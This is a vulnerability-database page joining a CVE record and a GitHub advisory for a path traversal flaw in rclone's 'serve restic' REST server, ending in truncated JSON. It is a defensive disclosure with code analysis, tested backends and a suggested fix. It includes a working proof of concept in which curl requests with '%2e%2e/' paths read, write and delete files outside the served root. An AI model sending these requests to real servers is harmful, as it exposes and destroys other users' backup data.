Vulnerability-Lookup

CVE-2026-71309 (GCVE-0-2026-71309)

Vulnerability from cvelistv5 – Published: 2026-08-05 20:13 – Updated: 2026-08-06 13:45

Title

rclone: Incomplete path validation allows backend root escape in serve restic

Summary

rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.40.0 until 1.75.0, rclone serve restic does not correctly reject URL paths beginning with ../ in cmd/serve/restic/restic.go WithRemote, which accepts a leading parent path and passes it to GET, HEAD, POST, and DELETE handlers for configured backends including WebDAV, FTP, HTTP, Memory, and SFTP. An attacker who can access the REST endpoint may read, create, overwrite, or delete objects outside the path configured by the operator when the operator publishes a backend subdirectory and the backend credential can access parent or sibling objects. This issue is fixed in 1.75.0.

Severity

8.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/rclone/rclone/security/advisor…	x_refsource_CONFIRM
https://github.com/rclone/rclone/commit/cc5a189f0…	x_refsource_MISC
https://github.com/rclone/rclone/releases/tag/v1.75.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
rclone	rclone	Affected: >= 1.40.0, < 1.75.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-71309",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-06T13:45:25.528096Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-06T13:45:45.437Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "rclone",
          "vendor": "rclone",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.40.0, \u003c 1.75.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.40.0 until 1.75.0, rclone serve restic does not correctly reject URL paths beginning with ../ in cmd/serve/restic/restic.go WithRemote, which accepts a leading parent path and passes it to GET, HEAD, POST, and DELETE handlers for configured backends including WebDAV, FTP, HTTP, Memory, and SFTP. An attacker who can access the REST endpoint may read, create, overwrite, or delete objects outside the path configured by the operator when the operator publishes a backend subdirectory and the backend credential can access parent or sibling objects. This issue is fixed in 1.75.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-05T20:13:30.935Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh"
        },
        {
          "name": "https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264"
        },
        {
          "name": "https://github.com/rclone/rclone/releases/tag/v1.75.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rclone/rclone/releases/tag/v1.75.0"
        }
      ],
      "source": {
        "advisory": "GHSA-45pq-889g-fcgh",
        "discovery": "UNKNOWN"
      },
      "title": "rclone: Incomplete path validation allows backend root escape in serve restic"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-71309",
    "datePublished": "2026-08-05T20:13:30.935Z",
    "dateReserved": "2026-08-05T18:14:42.063Z",
    "dateUpdated": "2026-08-06T13:45:45.437Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-71309",
      "date": "2026-08-09",
      "epss": "0.00314",
      "percentile": "0.23754"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-71309\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-05T21:16:58.383\",\"lastModified\":\"2026-08-06T14:16:42.283\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.40.0 until 1.75.0, rclone serve restic does not correctly reject URL paths beginning with ../ in cmd/serve/restic/restic.go WithRemote, which accepts a leading parent path and passes it to GET, HEAD, POST, and DELETE handlers for configured backends including WebDAV, FTP, HTTP, Memory, and SFTP. An attacker who can access the REST endpoint may read, create, overwrite, or delete objects outside the path configured by the operator when the operator publishes a backend subdirectory and the backend credential can access parent or sibling objects. This issue is fixed in 1.75.0.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"rclone\",\"product\":\"rclone\",\"versions\":[{\"version\":\"\u003e= 1.40.0, \u003c 1.75.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.6,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-06T13:45:25.528096Z\",\"id\":\"CVE-2026-71309\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"references\":[{\"url\":\"https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/rclone/rclone/releases/tag/v1.75.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "redhat_vex": {
      "aggregate_severity": "Important",
      "current_release_date": "2026-08-06T05:53:30+00:00",
      "cve": "CVE-2026-71309",
      "id": "CVE-2026-71309",
      "initial_release_date": "2026-08-05T20:13:30.935000+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "github.com/rclone/rclone: rclone: Backend Root Escape via Incomplete Path Validation",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-71309.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-71309\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-06T13:45:25.528096Z\"}}}], \"references\": [{\"url\": \"https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-06T13:45:41.729Z\"}}], \"cna\": {\"title\": \"rclone: Incomplete path validation allows backend root escape in serve restic\", \"source\": {\"advisory\": \"GHSA-45pq-889g-fcgh\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 8.6, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"LOW\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"rclone\", \"product\": \"rclone\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 1.40.0, \u003c 1.75.0\"}]}], \"references\": [{\"url\": \"https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh\", \"name\": \"https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264\", \"name\": \"https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/rclone/rclone/releases/tag/v1.75.0\", \"name\": \"https://github.com/rclone/rclone/releases/tag/v1.75.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.40.0 until 1.75.0, rclone serve restic does not correctly reject URL paths beginning with ../ in cmd/serve/restic/restic.go WithRemote, which accepts a leading parent path and passes it to GET, HEAD, POST, and DELETE handlers for configured backends including WebDAV, FTP, HTTP, Memory, and SFTP. An attacker who can access the REST endpoint may read, create, overwrite, or delete objects outside the path configured by the operator when the operator publishes a backend subdirectory and the backend credential can access parent or sibling objects. This issue is fixed in 1.75.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-05T20:13:30.935Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-71309\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-06T13:45:45.437Z\", \"dateReserved\": \"2026-08-05T18:14:42.063Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-05T20:13:30.935Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-45PQ-889G-FCGH

Vulnerability from github – Published: 2026-08-05 20:13 – Updated: 2026-08-05 20:13

Summary

rclone: Incomplete path validation allows backend root escape in serve restic

Details

Summary

rclone serve restic does not correctly reject URL paths beginning with ../. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator.

The issue affects rclone v1.40 through rclone v1.74.4. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for v1.74.4, and the latest master commit reviewed at the time (2217d38) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process.

Affected versions

All releases from v1.40 through v1.74.4 are affected.

Affected components and backend propagation

The primary vulnerable component is the backend-independent WithRemote middleware in cmd/serve/restic/restic.go, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV.

The backend determines whether the accepted ../ path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing:

Layer or backend	File and function	Relevant lines	Path propagation	Dynamic evidence
REST server, primary cause	`cmd/serve/restic/restic.go`, `WithRemote`	235-264	Accepts a leading `../` remote and shares it with GET, HEAD, POST, and DELETE handlers	Confirmed through WebDAV
WebDAV	`backend/webdav/webdav.go`, `(*Fs).filePath`	421-427	`path.Join(f.root, file)` removes the configured root when resolving `../`	read, write, delete
FTP	`backend/ftp/ftp.go`, `(Fs).NewObject`, `(Object).Open`, `Update`, and `Remove`	844-848, 1308-1311, 1349-1356, 1411-1415	Each operation joins the backend root and remote with `path.Join` before the FTP request	read, write, delete
HTTP	`backend/http/http.go`, `(*Fs).url`	386-395	Appends the escaped remote containing `../` to the configured endpoint URL	read
Memory	`backend/memory/memory.go`, `(*Fs).split`	227-231	Joins `f.root` and the relative path before splitting the in-memory bucket and key	read, write, delete
SFTP	`backend/sftp/sftp.go`, `(*Fs).remotePath`	2086-2089	Joins `f.absRoot` and the remote, allowing the parent component to remove the published subdirectory	read, write, delete

These are backend-specific manifestations of the same WithRemote validation flaw, not separate vulnerabilities.

Technical Details

WithRemote obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with path.Clean:

urlpath = strings.Trim(urlpath, "/")
// Reject any non-canonical path, in particular one containing ".."
// traversal elements.
if urlpath != "" && path.Clean(urlpath) != urlpath {
    http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}

The comment describes the intended behavior, but the condition does not reject every parent component. path.Clean preserves leading parent components in a relative path:

path.Clean("../outside.txt")  = "../outside.txt"
path.Clean("../../outside.txt") = "../../outside.txt"

Because both strings are equal, the middleware accepts the path. Internal traversal behaves differently:

path.Clean("a/../../outside.txt") = "../outside.txt"

These strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it.

After validation, WithRemote stores the accepted value in the request context:

ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
next.ServeHTTP(w, r.WithContext(ctx))

GET, POST, and DELETE handlers retrieve this same value. GET passes it to s.f.NewObject, POST passes it to operations.RcatSize, and DELETE resolves the object and calls Remove. There is no second containment check.

WebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by WithRemote is propagated by a backend.

The WebDAV backend joins its configured root with the attacker-controlled remote:

func (f *Fs) filePath(file string) string {
    subPath := path.Join(f.root, file)
    if f.opt.Enc != encoder.EncodeZero {
        subPath = f.opt.Enc.FromStandardPath(subPath)
    }
    return rest.URLPathEscapeAll(subPath)
}

For the proof of concept:

f.root = "served-root"
file = "../outside-secret.txt"

path.Join("served-root", "../outside-secret.txt")
= "outside-secret.txt"

The configured root is removed before encoding. WsgiDAV receives a normal operation for /outside-secret.txt, which is outside the root published by rclone serve restic.

The same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with path.Join before object operations; HTTP preserves served-root/../outside-secret.txt when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins f.absRoot and the remote in remotePath. In each case, the backend receives the leading parent component already accepted by WithRemote. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded .. as filename characters.

Expected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside served-root.

Preconditions and impact

The operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics.

An attacker may:

read files and objects outside the published backup root;
create or overwrite sibling objects;
delete objects when deletion is permitted;
cross isolation boundaries between users, repositories, or automation jobs;
indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact.

--append-only reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects.

Proof of concept

The following procedure was executed on Linux Mint 22.3 with the official rclone v1.74.4 Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5.

1. Create the storage layout

$ mkdir -p poc/storage/served-root
$ printf '%s\n' 'INSIDE-PUBLISHED-ROOT' > poc/storage/served-root/inside.txt
$ printf '%s\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' > poc/storage/outside-secret.txt
$ find poc/storage -type f
poc/storage/served-root/inside.txt
poc/storage/outside-secret.txt

2. Start the independent WebDAV server

$ python3 -m venv poc/venv
$ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1'
$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \
    --root="$PWD/poc/storage" --auth=anonymous --no-config
Running without configuration file.
...
Server: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3

3. Download, verify, and start rclone

$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip
$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS
$ grep '  rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c -
rclone-v1.74.4-linux-amd64.zip: OK

$ unzip rclone-v1.74.4-linux-amd64.zip
$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1
rclone v1.74.4

$ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \
    --webdav-url http://127.0.0.1:39500 \
    --webdav-vendor other --addr 127.0.0.1:39501 -vv
NOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/]

4. Confirm normal access

$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt
HTTP/1.1 200 OK
...
INSIDE-PUBLISHED-ROOT

5. Read outside the published root

$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt
HTTP/1.1 200 OK
...
SECRET-OUTSIDE-PUBLISHED-ROOT

6. Write outside the published root

$ curl --path-as-is -i -X POST \
    http://127.0.0.1:39501/%2e%2e/outside-write.txt \
    --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'
HTTP/1.1 200 OK
...

$ cat poc/storage/outside-write.txt
ATTACKER-CONTROLLED-OUTSIDE-ROOT

7. Delete outside the published root

$ curl --path-as-is -i -X DELETE \
    http://127.0.0.1:39501/%2e%2e/outside-write.txt
HTTP/1.1 200 OK
...

$ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted'
physical file deleted

8. Compare with internal traversal

$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt
HTTP/1.1 400 Bad Request
...
Bad Request

This demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.

Tested backends

Backend	Local implementation	Result	Operations tested
WebDAV	WsgiDAV 4.3.5	Affected	read, write, delete
FTP	pyftpdlib 2.2.0	Affected	read, write, delete
HTTP	Python `http.server` 3.12.3	Affected	read
Memory	rclone memory backend	Affected	read, write, delete
SFTP	`atmoz/sftp` OpenSSH server	Affected	read, write, delete
S3 compatible	MinIO	No root escape observed	read, write, delete
Local filesystem	default local encoding	No root escape observed	read, write, delete

Only the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official v1.74.4 Linux AMD64 binary identified in the proof of concept.

Suggested remediation

Reject . and .. components in WithRemote before storing the remote in the context. Validating the decoded relative path with io/fs.ValidPath, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.

Regression tests should cover GET, HEAD, POST, and DELETE with .., ../x, ../../x, %2e%2e/x, a/../x, and a/../../x, both with and without --private-repos.

Additional impact scenarios identified by the maintainer

GET /../ could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.
With --append-only, a request such as DELETE /../locks/<name> could satisfy the existing delete guard and delete an object outside the served root.
A bare . path was also accepted. On bucket-based backends, POST /. could write an object outside the intended served path.

Credit: Caubi Loureiro of Vorpcel Research

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.40.0"
            },
            {
              "fixed": "1.75.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T20:13:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`rclone serve restic` does not correctly reject URL paths beginning with `../`. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator.\n\nThe issue affects `rclone v1.40` through `rclone v1.74.4`. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for `v1.74.4`, and the latest `master` commit reviewed at the time (`2217d38`) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process.\n\n## Affected versions\n\nAll releases from `v1.40` through `v1.74.4` are affected.\n\n## Affected components and backend propagation\n\nThe primary vulnerable component is the backend-independent `WithRemote` middleware in `cmd/serve/restic/restic.go`, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV.\n\nThe backend determines whether the accepted `../` path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing:\n\n| Layer or backend | File and function | Relevant lines | Path propagation | Dynamic evidence |\n|---|---|---:|---|---|\n| REST server, primary cause | `cmd/serve/restic/restic.go`, `WithRemote` | 235-264 | Accepts a leading `../` remote and shares it with GET, HEAD, POST, and DELETE handlers | Confirmed through WebDAV |\n| WebDAV | `backend/webdav/webdav.go`, `(*Fs).filePath` | 421-427 | `path.Join(f.root, file)` removes the configured root when resolving `../` | read, write, delete |\n| FTP | `backend/ftp/ftp.go`, `(*Fs).NewObject`, `(*Object).Open`, `Update`, and `Remove` | 844-848, 1308-1311, 1349-1356, 1411-1415 | Each operation joins the backend root and remote with `path.Join` before the FTP request | read, write, delete |\n| HTTP | `backend/http/http.go`, `(*Fs).url` | 386-395 | Appends the escaped remote containing `../` to the configured endpoint URL | read |\n| Memory | `backend/memory/memory.go`, `(*Fs).split` | 227-231 | Joins `f.root` and the relative path before splitting the in-memory bucket and key | read, write, delete |\n| SFTP | `backend/sftp/sftp.go`, `(*Fs).remotePath` | 2086-2089 | Joins `f.absRoot` and the remote, allowing the parent component to remove the published subdirectory | read, write, delete |\n\nThese are backend-specific manifestations of the same `WithRemote` validation flaw, not separate vulnerabilities.\n\n## Technical Details\n\n`WithRemote` obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with `path.Clean`:\n\n```go\nurlpath = strings.Trim(urlpath, \"/\")\n// Reject any non-canonical path, in particular one containing \"..\"\n// traversal elements.\nif urlpath != \"\" \u0026\u0026 path.Clean(urlpath) != urlpath {\n    http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\nThe comment describes the intended behavior, but the condition does not reject every parent component. `path.Clean` preserves leading parent components in a relative path:\n\n```text\npath.Clean(\"../outside.txt\")  = \"../outside.txt\"\npath.Clean(\"../../outside.txt\") = \"../../outside.txt\"\n```\n\nBecause both strings are equal, the middleware accepts the path. Internal traversal behaves differently:\n\n```text\npath.Clean(\"a/../../outside.txt\") = \"../outside.txt\"\n```\n\nThese strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it.\n\nAfter validation, `WithRemote` stores the accepted value in the request context:\n\n```go\nctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)\nnext.ServeHTTP(w, r.WithContext(ctx))\n```\n\nGET, POST, and DELETE handlers retrieve this same value. GET passes it to `s.f.NewObject`, POST passes it to `operations.RcatSize`, and DELETE resolves the object and calls `Remove`. There is no second containment check.\n\nWebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by `WithRemote` is propagated by a backend.\n\nThe WebDAV backend joins its configured root with the attacker-controlled remote:\n\n```go\nfunc (f *Fs) filePath(file string) string {\n    subPath := path.Join(f.root, file)\n    if f.opt.Enc != encoder.EncodeZero {\n        subPath = f.opt.Enc.FromStandardPath(subPath)\n    }\n    return rest.URLPathEscapeAll(subPath)\n}\n```\n\nFor the proof of concept:\n\n```text\nf.root = \"served-root\"\nfile = \"../outside-secret.txt\"\n\npath.Join(\"served-root\", \"../outside-secret.txt\")\n= \"outside-secret.txt\"\n```\n\nThe configured root is removed before encoding. WsgiDAV receives a normal operation for `/outside-secret.txt`, which is outside the root published by `rclone serve restic`.\n\nThe same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with `path.Join` before object operations; HTTP preserves `served-root/../outside-secret.txt` when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins `f.absRoot` and the remote in `remotePath`. In each case, the backend receives the leading parent component already accepted by `WithRemote`. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded `..` as filename characters.\n\nExpected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside `served-root`.\n\n## Preconditions and impact\n\nThe operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics.\n\nAn attacker may:\n\n- read files and objects outside the published backup root;\n- create or overwrite sibling objects;\n- delete objects when deletion is permitted;\n- cross isolation boundaries between users, repositories, or automation jobs;\n- indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact.\n\n`--append-only` reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects.\n\n## Proof of concept\n\nThe following procedure was executed on Linux Mint 22.3 with the official `rclone v1.74.4` Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5.\n\n### 1. Create the storage layout\n\n```console\n$ mkdir -p poc/storage/served-root\n$ printf \u0027%s\\n\u0027 \u0027INSIDE-PUBLISHED-ROOT\u0027 \u003e poc/storage/served-root/inside.txt\n$ printf \u0027%s\\n\u0027 \u0027SECRET-OUTSIDE-PUBLISHED-ROOT\u0027 \u003e poc/storage/outside-secret.txt\n$ find poc/storage -type f\npoc/storage/served-root/inside.txt\npoc/storage/outside-secret.txt\n```\n\n### 2. Start the independent WebDAV server\n\n```console\n$ python3 -m venv poc/venv\n$ poc/venv/bin/pip install 